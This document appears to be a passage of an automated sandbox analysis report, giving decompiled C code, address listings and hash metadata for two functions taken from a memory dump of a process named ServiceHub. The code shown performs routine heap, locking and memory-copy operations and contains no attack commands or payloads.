                                          0x0120b4c8
                                          0x00000000
                                          0x0120b4ce
                                          0x0120b4d4
                                          0x0120b4e1
                                          0x0120b4e3
                                          0x0120b4e5
                                          0x00000000
                                          0x0120b4eb
                                          0x0120b4f0
                                          0x0120b4f2
                                          0x011bdac9
                                          0x011bdacc
                                          0x011bdacf
                                          0x011bdad1
                                          0x011bdd78
                                          0x011bdd78
                                          0x011bdcf2
                                          0x00000000
                                          0x011bdad7
                                          0x011bdad9
                                          0x011bdadb
                                          0x00000000
                                          0x00000000
                                          0x011bdae1
                                          0x011bdae1
                                          0x011bdae4
                                          0x011bdae6
                                          0x0120b4f9
                                          0x0120b4f9
                                          0x0120b500
                                          0x011bdaec
                                          0x011bdaec
                                          0x011bdaf5
                                          0x011bdaf8
                                          0x011bdafb
                                          0x011bdb03
                                          0x011bdb11
                                          0x011bdb16
                                          0x011bdb19
                                          0x011bdb1b
                                          0x0120b52c
                                          0x0120b531
                                          0x0120b534
                                          0x011bdb21
                                          0x011bdb21
                                          0x011bdb24
                                          0x011bdcd9
                                          0x011bdce2
                                          0x011bdce5
                                          0x011bdd6a
                                          0x011bdd6d
                                          0x00000000
                                          0x011bdd73
                                          0x0120b51a
                                          0x0120b51c
                                          0x0120b51f
                                          0x0120b524
                                          0x00000000
                                          0x0120b524
                                          0x011bdce7
                                          0x011bdce7
                                          0x011bdce7
                                          0x00000000
                                          0x011bdce7
                                          0x00000000
                                          0x011bdb2a
                                          0x011bdb2c
                                          0x011bdb31
                                          0x011bdb33
                                          0x011bdb36
                                          0x011bdb39
                                          0x011bdb3b
                                          0x011bdb66
                                          0x011bdb66
                                          0x011bdb3d
                                          0x011bdb3d
                                          0x011bdb3e
                                          0x011bdb46
                                          0x011bdb47
                                          0x011bdb49
                                          0x011bdb4c
                                          0x011bdb53
                                          0x011bdb55
                                          0x011bdb58
                                          0x011bdb5a
                                          0x0120b50a
                                          0x0120b50f
                                          0x0120b512
                                          0x011bdb60
                                          0x011bdb60
                                          0x011bdb63
                                          0x011bdb63
                                          0x00000000
                                          0x011bdb63
                                          0x011bdb5a
                                          0x011bdb3b
                                          0x011bdb24
                                          0x011bdb69
                                          0x011bdb69
                                          0x011bdb6c
                                          0x011bdb6f
                                          0x011bdb74
                                          0x0120b557
                                          0x0120b557
                                          0x0120b55e
                                          0x011bdb7a
                                          0x011bdb7c
                                          0x011bdb7f
                                          0x011bdb82
                                          0x011bdb85
                                          0x00000000
                                          0x011bdb8b
                                          0x011bdb8b
                                          0x011bdb8d
                                          0x011bdb9b
                                          0x011bdb9b
                                          0x011bdb9d
                                          0x011bdba0
                                          0x011bdba2
                                          0x011bdba4
                                          0x011bdba7
                                          0x011bdba9
                                          0x011bdbae
                                          0x011bdbae
                                          0x011bdbb1
                                          0x011bdbb4
                                          0x011bdbb4
                                          0x011bdbb7
                                          0x011bdbba
                                          0x011bdcd2
                                          0x011bdcd4
                                          0x00000000
                                          0x011bdbc0
                                          0x011bdbc0
                                          0x011bdbd2
                                          0x011bdbd7
                                          0x011bdbda
                                          0x011bdbdd
                                          0x011bdbdf
                                          0x00000000
                                          0x011bdbe5
                                          0x011bdbe5
                                          0x011bdbee
                                          0x011bdbf1
                                          0x0120b541
                                          0x0120b544
                                          0x00000000
                                          0x0120b546
                                          0x0120b546
                                          0x00000000
                                          0x0120b546
                                          0x011bdbf7
                                          0x011bdbf7
                                          0x011bdbfd
                                          0x011bdbfd
                                          0x011bdbff
                                          0x011bdc0b
                                          0x011bdc15
                                          0x011bdc1b
                                          0x011bdc1d
                                          0x011bdc21
                                          0x011bdc21
                                          0x011bdc23
                                          0x011bdc23
                                          0x011bdc26
                                          0x011bdc29
                                          0x011bdc2b
                                          0x00000000
                                          0x00000000
                                          0x011bdc31
                                          0x011bdc34
                                          0x011bdc36
                                          0x011bdcbf
                                          0x011bdcbf
                                          0x011bdcc2
                                          0x00000000
                                          0x011bdc3c
                                          0x011bdc41
                                          0x011bdc43
                                          0x00000000
                                          0x011bdc45
                                          0x011bdc45
                                          0x011bdc47
                                          0x00000000
                                          0x011bdc4d
                                          0x011bdc4d
                                          0x011bdc50
                                          0x011bdc52
                                          0x011bdc55
                                          0x011bdcfa
                                          0x011bdcfe
                                          0x011bdd08
                                          0x011bdd0a
                                          0x011bdd0c
                                          0x00000000
                                          0x011bdd12
                                          0x011bdd15
                                          0x011bdd2d
                                          0x011bdd2f
                                          0x011bdd32
                                          0x011bdd35
                                          0x00000000
                                          0x011bdd35
                                          0x011bdc5b
                                          0x011bdc5b
                                          0x011bdc5e
                                          0x011bdc61
                                          0x011bdc64
                                          0x011bdc67
                                          0x011bdc67
                                          0x011bdc6a
                                          0x011bdc6c
                                          0x011bdc8e
                                          0x011bdc8e
                                          0x011bdc91
                                          0x011bdc93
                                          0x011bdcce
                                          0x011bdcce
                                          0x011bdc95
                                          0x011bdc9c
                                          0x011bdc6e
                                          0x011bdc72
                                          0x011bdc75
                                          0x011bdc77
                                          0x011bdc79
                                          0x0120b551
                                          0x0120b551
                                          0x00000000
                                          0x011bdc7f
                                          0x011bdc7f
                                          0x011bdc81
                                          0x00000000
                                          0x011bdc83
                                          0x011bdc86
                                          0x011bdc88
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011bdc88
                                          0x011bdc81
                                          0x011bdc79
                                          0x011bdc6c
                                          0x011bdc55
                                          0x011bdc47
                                          0x011bdc43
                                          0x00000000
                                          0x011bdc36
                                          0x011bdc23
                                          0x00000000
                                          0x011bdbff
                                          0x011bdbf1
                                          0x011bdbdf
                                          0x011bdb8f
                                          0x011bdb92
                                          0x011bdb95
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011bdb95
                                          0x011bdb8d
                                          0x011bdb85
                                          0x011bdb74
                                          0x011bdc9f
                                          0x011bdca2
                                          0x011bdcb0
                                          0x011bdcb0
                                          0x011bdad1
                                          0x0120b4e5
                                          0x0120b4c8
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011bd831
                                          0x00000000
                                          0x011bd800
                                          0x0120b47f
                                          0x0120b485
                                          0x00000000
                                          0x0120b485
                                          0x011bd665
                                          0x011bd652
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 87f885a145c055a83cf1047715715732f8acfd65eede5e260b3d700d7805e692
                                          • Instruction ID: 76fce830c743f8eb038ee59647dcdd755a131dc8b2960c9f9604f19273415d55
                                          • Opcode Fuzzy Hash: 87f885a145c055a83cf1047715715732f8acfd65eede5e260b3d700d7805e692
                                          • Instruction Fuzzy Hash: 9FE1C234A0065A8FEF3DCF68D8D4BE9B7B1BF4531CF0501A9DA0997291D7709981CB52
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B849B Relevance: .3, Instructions: 290COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 92%
                                          			E011B849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x127f9c0);
				E011FD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x1297b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E011BCEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E011C2280( *[fs:0x30], 0x1298550);
						_t139 =  *0x1297b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E011DF3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E011BFFB0(_t193, _t235, 0x1298550);
								L5:
								return E011FD130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E011A1C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x1297b9c; // 0x0
							_t235 = L011C4620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x1297b10; // 0x0
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E011DA61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E011BFFB0(_t193, _t235, 0x1298550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L011C77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L011C77F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x1297b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x1297b10; // 0x0
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E011E37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x1297b9c; // 0x0
									_t214 = L011C4620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E011E37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x1297b10 =  *0x1297b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x1297b04 =  *0x1297b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L011C77F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L011C77F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x1297b08 =  *0x1297b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E011E57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E011EF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L011C77F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E011DA44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L011C77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E011E96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

































                                          0x011b849b
                                          0x011b849b
                                          0x011b849b
                                          0x011b849b
                                          0x011b849d
                                          0x011b84a2
                                          0x011b84a7
                                          0x011b84b1
                                          0x011b84d8
                                          0x00000000
                                          0x011b84b3
                                          0x011b84c4
                                          0x011b84c9
                                          0x011b84cd
                                          0x011b84cf
                                          0x011b84cf
                                          0x011b84d6
                                          0x011b84e6
                                          0x011b84e9
                                          0x011b84ec
                                          0x011b84ef
                                          0x011b84f2
                                          0x011b84f4
                                          0x011b84fc
                                          0x011b8501
                                          0x011b8506
                                          0x011b8509
                                          0x011b86e0
                                          0x011b86e5
                                          0x011b86e8
                                          0x011b86ed
                                          0x011b86f0
                                          0x011b86f2
                                          0x01209afd
                                          0x01209b02
                                          0x011b84da
                                          0x011b84df
                                          0x011b84df
                                          0x011b86fa
                                          0x011b86fd
                                          0x011b86fe
                                          0x011b8701
                                          0x011b8706
                                          0x011b8709
                                          0x011b870b
                                          0x00000000
                                          0x00000000
                                          0x011b8711
                                          0x011b8725
                                          0x011b8727
                                          0x011b872a
                                          0x011b872c
                                          0x01209af0
                                          0x01209af5
                                          0x011b8732
                                          0x011b8732
                                          0x011b8732
                                          0x011b8735
                                          0x011b8737
                                          0x011b8515
                                          0x011b8515
                                          0x011b8518
                                          0x011b851d
                                          0x011b8523
                                          0x011b8527
                                          0x011b852b
                                          0x011b8537
                                          0x011b8539
                                          0x011b853c
                                          0x011b853e
                                          0x011b868c
                                          0x011b8691
                                          0x011b8699
                                          0x011b869b
                                          0x011b8744
                                          0x011b8748
                                          0x011b86a1
                                          0x011b86a1
                                          0x011b86a1
                                          0x011b86a4
                                          0x011b86a8
                                          0x01209bdf
                                          0x01209bdf
                                          0x011b86ae
                                          0x011b86b0
                                          0x00000000
                                          0x011b86b6
                                          0x00000000
                                          0x01209be9
                                          0x011b86b0
                                          0x011b8544
                                          0x011b854a
                                          0x011b854d
                                          0x011b8551
                                          0x011b876e
                                          0x011b8778
                                          0x011b877b
                                          0x011b8780
                                          0x011b8557
                                          0x011b8557
                                          0x011b855d
                                          0x011b855d
                                          0x011b856b
                                          0x011b856e
                                          0x011b8570
                                          0x011b8573
                                          0x011b8576
                                          0x011b8576
                                          0x011b8579
                                          0x011b857b
                                          0x00000000
                                          0x00000000
                                          0x011b8581
                                          0x011b85a0
                                          0x011b85a2
                                          0x011b85a5
                                          0x011b85a7
                                          0x01209b1b
                                          0x01209b1b
                                          0x011b862e
                                          0x011b862e
                                          0x011b8631
                                          0x011b8631
                                          0x011b8634
                                          0x011b8636
                                          0x011b8669
                                          0x011b8669
                                          0x011b866b
                                          0x01209bbf
                                          0x01209bc4
                                          0x01209bc8
                                          0x01209bce
                                          0x01209bce
                                          0x011b8671
                                          0x011b8671
                                          0x011b8674
                                          0x011b8676
                                          0x01209bae
                                          0x01209bae
                                          0x011b8676
                                          0x011b867c
                                          0x011b867e
                                          0x011b8688
                                          0x011b8688
                                          0x00000000
                                          0x011b867e
                                          0x011b8638
                                          0x011b8638
                                          0x011b863b
                                          0x011b863e
                                          0x011b863f
                                          0x011b8642
                                          0x011b8645
                                          0x011b8648
                                          0x011b864d
                                          0x01209b69
                                          0x01209b6e
                                          0x01209b7b
                                          0x01209b81
                                          0x01209b85
                                          0x01209b89
                                          0x01209ba7
                                          0x01209b8b
                                          0x01209b91
                                          0x01209b9a
                                          0x01209b9f
                                          0x01209b9f
                                          0x011b8788
                                          0x011b878d
                                          0x011b8763
                                          0x011b8763
                                          0x011b8766
                                          0x00000000
                                          0x011b8766
                                          0x01209b70
                                          0x00000000
                                          0x01209b70
                                          0x011b8656
                                          0x011b865a
                                          0x011b865c
                                          0x011b8752
                                          0x011b8756
                                          0x00000000
                                          0x00000000
                                          0x011b875e
                                          0x00000000
                                          0x011b875e
                                          0x011b8662
                                          0x011b8662
                                          0x011b8662
                                          0x011b8666
                                          0x00000000
                                          0x011b8666
                                          0x011b85b7
                                          0x011b85b9
                                          0x011b85bc
                                          0x011b85bf
                                          0x011b85cc
                                          0x011b85d1
                                          0x011b85d4
                                          0x011b85db
                                          0x011b85de
                                          0x011b85e0
                                          0x01209b5f
                                          0x00000000
                                          0x01209b5f
                                          0x011b85e6
                                          0x011b85ea
                                          0x011b86c3
                                          0x011b86c5
                                          0x011b86c8
                                          0x011b86ca
                                          0x01209b16
                                          0x00000000
                                          0x01209b16
                                          0x011b86d6
                                          0x011b85f6
                                          0x011b85f6
                                          0x011b85f9
                                          0x011b8602
                                          0x011b8606
                                          0x011b860a
                                          0x011b860b
                                          0x011b860e
                                          0x011b8611
                                          0x00000000
                                          0x011b8611
                                          0x011b85f3
                                          0x00000000
                                          0x011b85f3
                                          0x011b8619
                                          0x011b861e
                                          0x011b861e
                                          0x011b8621
                                          0x011b8622
                                          0x011b8623
                                          0x011b8625
                                          0x011b862c
                                          0x00000000
                                          0x011b873d
                                          0x00000000
                                          0x011b873d
                                          0x011b8737
                                          0x011b850f
                                          0x011b8512
                                          0x00000000
                                          0x011b8512
                                          0x00000000
                                          0x011b84d6

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b6be2c2388491546e6eb974f944680ed073b8d6b2c67476dfdf69684214b00e6
                                          • Instruction ID: 00d6bde075eb9948764975b58be8c42eda230dafd89b357df10121ad744d1bc3
                                          • Opcode Fuzzy Hash: b6be2c2388491546e6eb974f944680ed073b8d6b2c67476dfdf69684214b00e6
                                          • Instruction Fuzzy Hash: 4AB15B70E1060ADFDB29DF99C984AEDBBB9BF48708F104129E505AB286E770A941CF50
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D513A Relevance: .3, Instructions: 258COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 67%
                                          			E011D513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x129d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E011ED0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E011C2280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L011C4620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E011EF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E011BFFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x129b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E011EB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}































































                                          0x011d5142
                                          0x011d514c
                                          0x011d5150
                                          0x011d5157
                                          0x011d5159
                                          0x011d515e
                                          0x011d5165
                                          0x011d5169
                                          0x011d516c
